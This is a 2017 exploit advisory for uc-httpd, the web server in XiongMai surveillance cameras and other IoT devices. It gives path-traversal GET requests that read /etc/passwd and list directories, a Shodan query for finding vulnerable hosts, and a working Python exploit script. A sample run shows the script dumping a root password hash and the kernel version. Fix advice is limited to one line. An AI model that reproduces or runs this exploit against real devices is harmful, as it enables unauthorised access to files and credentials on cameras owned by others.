uc-httpd Local File Inclusion / Traversal

`______ ______ _____ ___ _____ _____ _____  
| ___ \ | ___ \ | _ | |_ | | ___| / __ \ |_ _|  
| |_/ / | |_/ / | | | | | | | |__ | / \/ | |  
| __/ | / | | | | | | | __| | | | |  
| | | |\ \ \ \_/ / /\__/ / | |___ | \__/\ | |  
\_| \_| \_| \___/ \____/ \____/ \____/ \_/  
  
  
_____ _ _ _____ _____ _____ _ _ ______ _____ _____ __ __  
|_ _| | \ | | / ___| | ___| / __ \ | | | | | ___ \ |_ _| |_ _| \ \ / /  
| | | \| | \ `--. | |__ | / \/ | | | | | |_/ / | | | | \ V /  
| | | . ` | `--. \ | __| | | | | | | | / | | | | \ /  
_| |_ | |\ | /\__/ / | |___ | \__/\ | |_| | | |\ \ _| |_ | | | |  
\___/ \_| \_/ \____/ \____/ \____/ \___/ \_| \_| \___/ \_/ \_/  
  
  
[+]---------------------------------------------------------[+]  
| Vulnerable Software: uc-httpd |  
| Vendor: XiongMai Technologies |  
| Vulnerability Type: LFI, Directory Traversal |  
| Date Released: 03/04/2017 |  
| Released by: keksec |  
[+]---------------------------------------------------------[+]  
  
uc-httpd is a HTTP daemon used by a wide array of IoT devices (primarily security cameras) which is vulnerable  
to local file inclusion and directory traversal bugs. There are a few million total vulnerable devices, with  
around one million vulnerable surviellence cameras.  
  
The following request can be made to display the contents of the 'passwd' file:  
GET ../../../../../etc/passwd HTTP/1.0  
  
To display a directory listing, the following request can be made:  
GET ../../../../../var/www/html/ HTTP/1.0  
The above request would output the contents of the webroot directory as if 'ls' command was executed  
  
The following shodan request can be used to display vulnerable systems:  
product:uc-httpd  
  
Here is a proof of concept (written by @sxcurity):  
-------------------------------------------------------------------------------------------------------------  
'''  
#!/usr/bin/env python  
import urllib2, httplib, sys  
  
httplib.HTTPConnection._http_vsn = 10  
httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0'  
  
print "[+] uc-httpd 0day exploiter [+]"  
print "[+] usage: python " + __file__ + " http://<target_ip>"  
  
host = sys.argv[1]  
fd = raw_input('[+] File or Directory: ')  
  
print "Exploiting....."  
print '\n'  
print urllib2.urlopen(host + '/../../../../..' + fd).read()  
  
'''  
-------------------------------------------------------------------------------------------------------------  
  
Here is a live example of the exploit being ran:  
  
  
root@127:~/dongs# python pwn.py http://127.0.0.1  
[+] uc-httpd 0day exploiter [+]  
[+] usage: python pwn.py http://<target_ip>  
[+] File or Directory: /etc/passwd  
Exploiting.....  
  
  
root:absxcfbgXtb3o:0:0:root:/:/bin/sh  
  
root@127:~/dongs# python pwn.py http://127.0.0.1  
[+] uc-httpd 0day exploiter [+]  
[+] usage: python pwn.py http://<target_ip>  
[+] File or Directory: /proc/version  
Exploiting.....  
  
  
Linux version 3.0.8 ([email protected]) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #52 Fri Apr 22 12:33:57 CST 2016  
  
root@127:~/dongs#  
-------------------------------------------------------------------------------------------------------------  
  
  
How to fix: Sanitize inputs, don't run your httpd as root!  
  
[+]---------------------------------------------------------[+]  
| CONTACT US: |  
| |  
| IRC: irc.insecurity.zone (6667/6697) #insecurity |  
| Twitter: @insecurity |  
| Website: insecurity.zone |  
[+]---------------------------------------------------------[+]  
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